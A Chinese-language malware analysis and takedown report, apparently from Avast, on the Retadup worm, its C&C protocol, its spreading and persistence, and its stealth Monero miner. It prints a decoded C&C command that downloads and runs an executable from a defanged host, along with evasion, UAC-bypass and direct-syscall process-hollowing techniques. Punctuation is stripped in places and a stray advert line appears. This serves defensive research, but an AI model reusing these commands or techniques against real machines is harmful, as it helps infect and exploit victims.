
结束 Retadup:一个感染数十万人的恶意蠕虫
- 61
Retadup 是一种恶意的蠕虫,影响著整个拉丁美洲的 Windows 计算机。它的目标是持续存在于受害者的计算机上,广泛扩散并在被感染的计算机上安装额外的恶意软件载荷。在绝大多数情况下,所安装的载荷是用于挖掘加密货币的恶意软件,为其作者谋取利益。然而,在某些情况下,我们也观察到 Retadup 在散播 Stop 勒索病毒和 Arkei 密码窃取工具。
我们将有关 Retadup 的威胁情报分享给了法国国家宪兵的 网络犯罪打击中心 (C3N),并提出了一种对受害者进行消毒的技术。根据我们的建议,C3N 拆除了恶意的指挥控制 (CampC) 伺服器,并用消毒伺服器替代。消毒伺服器对来自机器人的请求做出特定的回应,从而使连接的恶意软件部分自我销毁。在发表本文时,这项合作已经中和了超过 850000 个独特的 Retadup 感染。
本文将以消毒过程的时间线开始。后面的部分将包含有关 Retadup 本身及其散播的恶意挖掘器的更多技术细节。
本图显示了每个国家被中和的 Retadup 感染数量。大多数 Retadup 的受害者来自拉丁美洲的西语国家。
时间线
尽管我们之前已经有 Retadup 的检测签名,但我们直到 2019 年 3 月才开始密切监控它的活动。作为我们威胁情报研究的一部分,我们始终主动追踪利用先进技术试图绕过我们检测的恶意软件。当时,一个恶意的 Monero 加密货币矿工引起了我们的注意,因为它的隐秘过程与过程空洞实现密切相关。我们开始调查这个矿工是如何散布到受害者的计算机上,并发现它是由一个名为 Retadup 的 AutoIt/AutoHotkey 蠕虫安装的。
在更深入地分析 Retadup 后,我们发现,虽然它非常普遍,但其 CampC 通信协议却相当简单。我们识别出 CampC 协议中的一个设计缺陷,这使我们如果接管其 CampC 伺服器,就能将恶意软件从受害者的计算机中移除。这使得结束 Retadup 成为可能,并保护所有人免受其侵害,而不仅仅是 Avast 用户注意,虽然通常可以通过接管 CampC 伺服器并推送“恶意软件删除”脚本到受害者来清理恶意软件感染,但我们发现的设计缺陷并不涉及让受害者执行任何额外的代码。
Retadup 的 CampC 基础设施主要位于法国,因此我们决定在 3 月底联系法国国家宪兵,以分享我们的发现。我们提出了一个消毒方案,涉及接管 CampC 伺服器并利用 CampC 设计缺陷来中和 Retadup。他们对我们的想法表示支持,并开始对 Retadup 进行立案。
当宪兵部门向检察官介绍消毒方案时,我们正忙于更详细地分析 Retadup。我们创建了一个简单的跟踪程序,当有新变种的 Retadup 或者它开始向受害者散播新恶意载荷时会通知我们。我们然后在本地测试了提议的消毒方案,并讨论了执行时的潜在风险。宪兵部门还从其托管服务提供商处获得了 CampC 伺服器磁碟的快照,并将部分内容分享给我们,以便我们开始进行 CampC 伺服器内容的逆向工程。出于明显的隐私原因,我们仅获准访问不含受害者私人信息的 CampC 伺服器的部分内容。注意,我们必须格外小心,避免被恶意软件作者发现在快照 CampC 伺服器和开发跟踪器期间。到目前为止,恶意软件作者主要在散播加密货币矿工,这为他们带来了可观的被动收入。但如果他们意识到我们即将完全摧毁 Retadup,他们可能会尝试在数十万台电脑上推送勒索病毒,以便在最后的获利中再挣一笔。
对于 CampC 伺服器快照分析的结果相当令人惊讶。伺服器上的所有可执行文件都被 Neshta 文件感染者感染。Retadup 的作者不小心将自己感染了另一菌株的恶意软件。这仅仅证明了一个我们长期以来试图以善意幽默表达的观点:恶意软件作者应该使用强大的防病毒保护。Avast 防病毒 本可以保护他们免受 Neshta 的侵害。作为副作用,它也可能保护他们以及其他人免受他们自己的恶意软件侵害。或者,他们也可以使用我们的免费 Neshta 清除工具。
Avast 对来自 CampC 伺服器的可执行文件的检测对话框。Apanas 是 Neshta 的别名,基于 Neshta 二进制文件中包含的字符串命名。
2019 年 7 月,宪兵部门收到了检察官的绿灯,这意味著他们可以合法地对受害者进行消毒。他们用准备好的消毒伺服器替换了恶意的 CampC 伺服器,使连接的 Retadup 实例自我销毁。在活动的第一秒内,数千个机器人连接到该伺服器以获取来自伺服器的命令。消毒伺服器响应了它们的请求并对其进行了消毒,利用了 CampC 协议的设计缺陷。
CampC 基础设施的某些部分也位于美国。宪兵部门通知了 FBI,FBI 随后将其处理,并于 7 月 8 日停止了恶意软件作者对其机器人的控制。由于 CampC 伺服器的职责是给机器人分配挖矿任务,因此在此次摧毁后,所有机器人都没有收到任何新的挖矿任务可以执行。这意味著它们无法再耗费受害者的计算能力,并且恶意软件作者也不再从挖矿中获得任何金钱收益。
Retadup 机器人向 CampC 伺服器发送了大量有关受感染机器的信息。由于我们对伺服器快照的访问有限,因此我们能够获得有关 Retadup 受害者的一些聚合信息。对我们来说,最有趣的资讯是感染的具体数量及其地理分布。至今,我们已经中和了 850000 多个独特的 Retadup 感染,绝大多数位于拉丁美洲。由于恶意软件作者在受害者的计算机上挖掘加密货币,他们自然对受感染机器的计算能力十分感兴趣。我们能够确定,受感染计算机中最常见的是两个或四个核心受感染计算机的平均核心数为 294,并且大多数受害者使用的是 Windows 7。超过 85 的 Retadup 受害者也没有安装第三方防病毒软件。有些甚至将其禁用,这使得他们完全容易受到蠕虫的攻击,并无意中进一步扩散感染。因为我们通常只能保护 Avast 用户,所以能够帮助保护全世界免受如此大规模的恶意软件威胁,让我们倍感兴奋。
这是一个饼图,显示了 Retadup 受害者的操作系统版本分布。
在 Twitter 上匿名自夸尽管有数十万台计算机受到 Retadup 的感染,但这个蠕虫似乎从未引起安全社区应有的注意。趋势科技在 2017 和 2018 年发表了一系列有关 Retadup 的 技术文章。有趣的是,Retadup 的作者选择在 Twitter 上自夸他们的恶意软件。他们创建了一个一次性的 Twitter 帐号 @radblackjoker,并对趋势科技关于 Retadup 的研究做出了反应,例如这是我的宝贝 lt3或这是我的蠕虫,我发明的,他嘿嘿 D 我总有一天会统治世界 (。在某种情况下,作者甚至发布了一张 显示 CampC 控制器的截图。起初,我们对这个 Twitter 帐号的合法性有些怀疑,但在获得 Retadup 的 CampC 组件的源代码后,显然这张截图以及 Twitter 帐号的真实性已经得到确认。
Retadup 作者发布的一条推文,显示了恶意软件控制面板的截图。请注意,由于 Retadup 有多个变体每个都有自己单独的控制面板,这个控制面板仅显示 Retadup 一个变体的讯息,因此实际的机器人数量远高于此处显示的数字。
由于安全行业没有提供 Retadup 的任何删除说明,因此出现了许多 独立移除 教程 影片。在 YouTube 上,前五名的 Retadup 清除教学影片总计拥有超过 250000 次的观看次数。鉴于 Retadup 感染的地理分布,它们主要是以西班牙语呈现的。虽然这些教程通常仅涉及 Retadup 的特定变体,但它们中的指导应该相当有效,并似乎帮助了很多人。不幸的是,这些教程仅处理 AutoIt 变体的 Retadup。还有其他变体是用 AutoHotkey 编写的,我们未找到相关教程。这可能是因为 AutoIt 变体中的恶意软件以 容易搜索的档名 保存,因此受害者很容易找到移除教程。另一方面,AutoHotkey 变体中的几乎每个字符串都是随机生成的,因此受害者可能根本不知道如何去寻找帮助。
技术细节
AutoIt/AutoHotkey 核心
由于 Retadup 已经活跃开发多年,目前在野生环境中存在许多不同的变体。这些变体在功能上大致相似,仅在功能实现上有所不同。核心是用 AutoIt 或 AutoHotkey 编写的。在这两种情况下,它由两个文件组成:干净的脚本语言解释器和恶意脚本本身。这与大多数当今的 AutoIt 恶意软件类型相反,后者通常仅由一个包含解释器和恶意脚本的可执行文件组成。在 AutoHotkey 变体的 Retadup 中,恶意脚本以源代码的形式分发,而在 AutoIt 变体中,脚本首先被编译然后分发。幸运的是,由于编译后的 AutoIt 字节码是高层次的,将其反编译为更可读的形式并不是特别困难。
大多数变体的核心遵循相同的简单工作流程。首先,它检查 Retadup 的其他实例是否已经在运行。如果正在运行,它会静默退出,以便同一时间仅运行一个 Retadup 实例。然后,它进行一些基本检查,以查看它是否正在被分析。如果检测到正在进行分析,则也静默退出。随后,它获得持久性并尝试扩散自己。最后,它进入一个无限循环,定期向 CampC 伺服器轮询命令;如果收到来自 CampC 的命令,它将执行收到的命令的处理程序。在联系 CampC 的同时,它还会定期执行其他扩散尝试并恢复其持久性机制。
有很多反分析检查,这些检查在各个 Retadup 变体中的具体实现有所不同。几乎所有的 Retadup 样本首先检查文件系统路径。如果解释器路径或脚本路径与预期有所不同,则脚本不会进行任何恶意操作。大多数样本还实现了延迟执行的方式。在执行的开始阶段,它们要么进行一次长时间的睡眠,要么执行多个短暂的睡眠。最后,一些变体还会检查名为 vmtoolsdexe 或 procmonexe 的进程是否在运行,检查是否存在名为 CCWSandbox 或 Ccuckoo 的目录,以及检查是否有名为 SbieDlldll 或 apilogdll 的模块在当前进程中加载。
Retadup 的反分析技术。这些特殊样本期望存储在一个像这样的路径下 Cfcdurarluwwzawbwjwhcvvumrjearhgatsbrqeesyztxt 并且如果检测到从显然不同的路径运行,则不会执行任何恶意操作。
Retadup 通过在 HKCUSoftwareMicrosoftWindowsCurrentVersionRun 中创建登录值和/或创建计划任务来实现持久性。计划任务是使用 schtasksexe 实用工具创建的,并设置为每分钟执行一次。Retadup 的 AutoIt 变体通常使用 硬编码的注册表值名称,而 AutoHotkey 变体则倾向于使用随机生成的名称作为登录值和计划任务。
由 AutoHotkey 样本建立的持久性机制。
Retadup 主要通过在连接的驱动器上放置恶意的 LNK 文件来扩散。当它在扩散时,Retadup 迭代所有分配字母不是 C 的连接驱动器。然后,它检查当前选定驱动器根文件夹中所有文件夹。对于每个文件夹,它创建一个 LNK 文件,该文件旨在模仿真实文件夹并欺骗用户执行它。LNK 文件以与原始文件夹相同的名称创建,只是附加一个像 copy fpllnk 的短字符串。Retadup 还将干净的 AutoIt/AutoHotkey 解释器和恶意脚本复制到隐藏/系统目录,位于被放置的 LNK 文件的硬编码路径下。当执行时,该 LNK 文件将使用放置的 AutoIt/AutoHotkey 解释器运行恶意脚本。放置的 LNK 文件基本上模仿用户现有的文件,并且它们似乎成功地让许多用户相信它们只是无害的快捷方式。我们收到了数百份关于 Retadup 创建的恶意 LNK 文件的虚假报告。
Retadup 的扩散机制示例。当执行时,LNK 文件会从隐藏/系统文件夹运行恶意软件。
每个 Retadup 样本配置了一组 CampC 域名和端口。样本通过向它们发送单独的 HTTP GET 请求来联系它们。每次发送此类请求时,样本都会在请求 URL 的路径中编码有关受害者的一些信息。虽然编码的具体内容和形式在不同版本的 Retadup 中有所不同,但所有版本的 Retadup 都在路径开始时编码受害者的 ID。例如,我们测试环境中的一个 AutoHotkey 样本发送了一个请求到:
http//newalphaalphanoob[]com9898/4D7A51334E5459314D6A453356306C/1/54576C6A636D397A62325A3049466470626D527664334D674E79425662485270625746305A53413D/5245565453315250554330774D54497A4E4455323D3D/6447567A64413D3D/636D466B3D3D/3D3D/0/0
在这个例子中,URL 路径的大部分部分使用 Base64 和十六进制编码进行编码样本使用自定义的 Base64 实现,在某些情况下添加了一些额外的填充,因此不完全符合 Base64 规范。经过解码后,路径看起来像这样:
http//newalphaalphanoob[]com9898/347565217WI/1/Microsoft Windows 7 Ultimate/DESKTOP0123456/test/rad//0/0
在上面的“解码”URL中,347565217WI 是受害者的 ID它只是硬盘序列号与 Windows 版本的简化组合,1 是 Retadup 的版本,Microsoft Windows 7 Ultimate 是操作系统标题,DESKTOP0123456 是计算机名称,test 是用户名,rad 是恶意软件分发者的 ID,下一个字段包含已安装的 AV 软件在恶意软件分析机器上没有,倒数第二个 0 意味著恶意软件并不在主动扩散,最后一个 0 意味著矿工组件并未运行。
CampC 通信的示例捕捉。
CampC 伺服器解析从请求中接收到的路径的信息,并发送回一个类似混淆的 HTTP 响应,该响应包含要执行的命令。响应的具体编码在不同版本的 Retadup 中有所不同,但让我们来看看 CampC 发送给最普遍的 AutoHotkey 变体的示例响应。
623274386648783849475276643235736232466b4c576830644841364c7939356257466b4c6e566e4c33526c633342305979396a617938314e4463314c6d56345a546f684F6e4e76633238755A58686c4C575276643235736232466b
经过类似于 HTTP 请求的解码后,我们得到:
ok downloadhttp//ymad[]ug/tesptc/ck/5475exe!sosoexedownload
这条命令指示受害者从 http//ymad[]ug/tesptc/ck/5475exe 下载文件,将其放入恶意软件文件夹下,并执行它。大多数命令都包含一个前缀和一个后缀来识别命令在上述情况中是 download 和 download,命令参数被包裹在它们之间,用 ! 分隔。由于某些原因,某些变体的更新命令后缀为 update,而另一些则为 updatee。
目前支持的命令集相对较小在较旧的变体中曾有更多。作者可能意识到不需要其他命令,想要使其恶意软件更简单。当前最普遍的命令包括:
Update 下载更新的 Retadup 变体并替换先前的 Retadup 版本Download 下载并执行额外的载荷可以是 AutoIt/AutoHotkey 脚本或 PE 文件Sleep 使恶意软件等待指定的时间Updateself 使脚本以多态方式自我突变添加一行随机的注释并重新命名一些混淆的变量名称
下载命令执行其他 PE 载荷的方式通常使用多层间接。它不直接下载和执行 PE 载荷,而是首先提取一个 AutoIt 脚本。这个 AutoIt 脚本中嵌入了一段能加载嵌入的 PE 文件的 shellcode。该 shellcode 被复制到通过 VirtualAlloc 分配的可执行内存中。然后使用 AutoIt 函数 DllCallAddress 将控制权转移到该 shellcode,该 shellcode 随即加载并将控制权传递给最终的 PE 载荷。这种间接的目的可能是为了避免将 PE 载荷写入磁碟,这将增加被检测的风险。但以上描述的工作流并不是唯一使用的。在其他某些情况下,我们还观察到 AutoIt 脚本直接下载 PE 文件,删除其区域标识符并直接从磁碟运行它。
在执行某些载荷之前,我们还观察到 Retadup 尝试利用 已知的 UAC 绕过方法。
Retadup 中找到的去混淆 UAC 绕过代码。
由于核心以 AutoHotkey 源码或 AutoIt 字节码容易反编译的形式分发,作者尝试对其进行混淆,以增加分析的难度。大多数情况下,他们使用公众可用的 AutoIt/AutoHotkey 混淆器。对于我们来说,最难去混淆的就是 CodeCrypter。CodeCrypter 使用 AES 加密字符串。AES 解密由自定义 shellcode 执行分别有 32 位和 64 位变体。该 shellcode 被加载到 AutoIt 解释器进程的内存中。由于它以压缩形式嵌入脚本中,因此首先要被另一段 shellcode 解压这次是来自流行的 aPLib 解压缩库的代码。用于加密字符串的 AES 密钥进一步被混淆,并用另一个密钥进行加密。CodeCrypter 调用 shellcode 的方式很有趣它使用 user32dll 的 CallWindowProc 函数作为跳板。CodeCrypter 调用它,并将要调用的 shellcode 地址作为第一个参数传递。CallWindowProc 内部调用其第一个参数指向的地址,并将随后的参数传递给它,因此这是一种在不使用可疑的 AutoIt 函数如 DllCallAddress的情况下调用任意本机代码的好方法。CodeCrypter 还将所有变量和用户自定义函数重命名为随机字符串。所有这些新名称也共享相同的前缀和后缀,这使得在不重新命名它们的情况下,视觉上很难区分它们。
由 CodeCrypter 保护的 Retadup 代码示例。
CampC 伺服器
对于恶意软件研究者而言,CampC 伺服器总是个大黑箱。客户端的每一段代码都可以反向工程并理解,但虽然我们可以大致了解 CampC 伺服器上发生了什么,但通常不可能完全理解其伺服器端逻辑。因此,当宪兵部门将 Retadup 的 CampC 控制器代码分享给我们时,我们非常兴奋。我们没有得到伺服器内容的完整转档,因此无法进行任何计算机取证,但我们可以通过逆向工程控制器学到很多有关恶意软件的知识。
首先让我们感兴趣的是,是否有任何伺服器端的反分析检查。这些检查通常相当麻烦,因为它们可能妨碍我们从外部分析 CampC,甚至故意使 CampC 向我们提供虚假的信息。结果发现,恶意软件作者并未对任何此类反分析技巧感到困扰。阻碍我们分析的唯一因素是伺服器记录下哪些命令发送到哪些受害者,只会向每个受害者发送每个命令一次。
CampC 伺服器是用 Nodejs 实现的,受害者信息存储在 MongoDB 数据库中。CampC 伺服器有 11 个独立的版本,每个版本都有自己的文件夹、自有数据库,并在各自的端口上听取,命令单一变体的 Retadup。每个版本还包含自己的控制器,这基本上就是用 Nodejs 编写的 GUI,允许恶意软件运营商向机器人发送命令,并显示有关受害者的一些统计数据。
CampC 面板的截图。
每次从恶意软件机器人发出的 GET 请求,CampC 首先会在其数据库中查询受害者的 ID。如果它尚未存在,则会为其创建一个新记录。然后,它将 URL 路径中的信息存储到数据库中。它还会保存受害者的 IP 地址、国家通过 IP 地址识别和当前时间。接著,检查受害者的 lcmid。该字段包含最后一次发给受害者的命令的创建时间。接下来,CampC 会检查是否有比该 lcmid 指定的命令更新的命令。如果发现有更好的命令,就会发送给受害者。否则,仅会发送一条简单的 sleep 命令。
有趣的是,伺服器还接受到路径 /rad 的 GET 请求这似乎是其中一位恶意软件作者的绰号,并回复该国家来的受害者人数。
Retadup 控制器的代码发送另一个 HTTP 响应,显示来自秘鲁的“客户”即“受害者”数量。有趣的是,控制器的这一部分出于某种原因面对互联网,因此任何人在伺服器仍然在线时都可以查询此数目。
作者们可能不确定他们在制表和空格的争论中站在哪一方,因此在控制器中混合使用了表格和空格。有时候,源代码的缩排差异糟糕,甚至会让最宽容的软件工程师感到愤怒。
小熊加速器免费Retadup 控制器代码的一个实际范例,所有空格都被保留与我们找到的一样。
CampC 伺服器中还包含了 AutoIt RAT HoudRat 的 NET 控制器。查看 HoudRat 样本,清楚地看出 HoudRat 只是一个功能更丰富且不那么普遍的 Retadup 变体。HoudRat 能够执行任意命令、记录键击、拍摄萤幕截图、窃取密码、下载任意文件等等。
HoudRat 控制器的截图。
我们还发现 XMRig Proxy 在伺服器的 9556、667 和 666 端口上运行感染数十万无辜的受害者可能还不够恶毒。顾名思义,XMRig Proxy 用于在矿工机器人与矿池之间代理流量。它集中多个机器人的流量,对矿池来说似乎仅有几个工作者。当 CampC 伺服器快照拍摄时,恶意软件作者在 minexmrcom 矿池内挖掘但从其他保存的 XMRig 配置文件看来,很明显他们也在尝试 poolsupportxmrcom、nicehashcom、xmrpoolnet、poolminergatecom 和 minexcashcom。虽然 Monero 设计为不可追踪,但矿池通常会发布一个 API,使任何人都能查看特定矿工的收益。由于矿池用户名通常选择为 Monero 的目的地址在本例中为 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQp35WaoCS1UURfQP9z,我们可以看到恶意软件作者在上述地址启用的接近一个月内挖掘了 5372 XMR约合 4200 美元。请注意,他们可能还在其他矿池进行挖掘,因此实际的挖掘获利可能更高。
这是一张显示 Retadup 在 2019 年 3 月的挖掘能力的截图。
矿工载荷
矿工的载荷以 32 位 PE 文件的形式出现,并且经常用各种打包工具/加密工具进行打包。为了使这篇博文更简洁,我们著重于未打包的样本 9c46a0e48ea9b104f982e5ed04735b0078938866e3822712b5a5374895296d08,但还有其他稍有不同的矿工变体。这个载荷的一般功能几乎就是我们对通用恶意隐秘矿工的期望。它在内存中解密 XMRig PE 文件,并通过进程空洞技术将其注入到新创建的进程中。它还动态地构建一个 XMRig 配置文件,将其放置到磁碟上并传递给新创建的进程。XMRig 的 donatelevel 设置为 0,以免和 XMRig 开发者共用任何挖矿利润。该恶意软件还会在 taskmgrexe 运行时避免挖矿,以使得用户很难检测到其增加的 CPU 使用率。负责注入 XMRig 的进程还充当监视进程。如果被注入的工作进程因任何原因终止,监视进程会生成一个新工作进程来替换它。
矿工进程wuappexe在打开任务管理器时退出,并在关闭任务管理器时重新启动。还请注意,监视进程 (retadupminerexe) 在杀死矿工进程后会立即重启它。
如前所述,这个矿工对我们而言最有趣的方面是其注入方法。从高层次来看,注入只是常规的进程空洞技术。创建一个暂停的进程,原始部分被取消映射,然后映射注入的 PE 文件并解析其重定向和导入,最后重新启动进程。然而,与许多常规的进程空洞实现不同之处在于,它选择了一种更隐秘的方式,直接使用系统调用进行注入。这比常规进程空洞技术更难实现,但它可能使作者能够绕过某些安全解决方案的用户间挂钩。
大多数常规进程空洞实现通过调用从 ntdll 汇出的未记录函数例如 NtUnmapViewOfSection来实现进程注入。然而,许多终端安全解决方案能够通过挂钩知名函数来检测这种注入方法。因此,也有一些恶意软件例如 Formbook将第二个副本的 ntdll 加载到其内存中,并通过这个副本调用从 ntdll 汇出的函数这也被称为“拉各斯岛”方法。这样做的目的是,新的 ntdll 副本通常是从磁碟中直接读取的可能不包含原始副本中存在的钩子,因此安全软件可能不会看到恶意软件调用的函数。
上述描述的“拉各斯岛”方法在此矿工中得到使用,但它更进一步。与 ntdll 的副本相应的函数不是通过代码的副本调用的。相反,该矿工解析这些函数的主体并提取其相应的系统调用号码在 Windows 上,系统调用号码可能因版本而变化,因此不能仅仅在样本中硬编码。一旦恶意软件拥有所需的系统调用号码,它就可以使用 sysenter 指令直接调用该系统调用。
绕过 ntdll 直接进入内核模式的捷径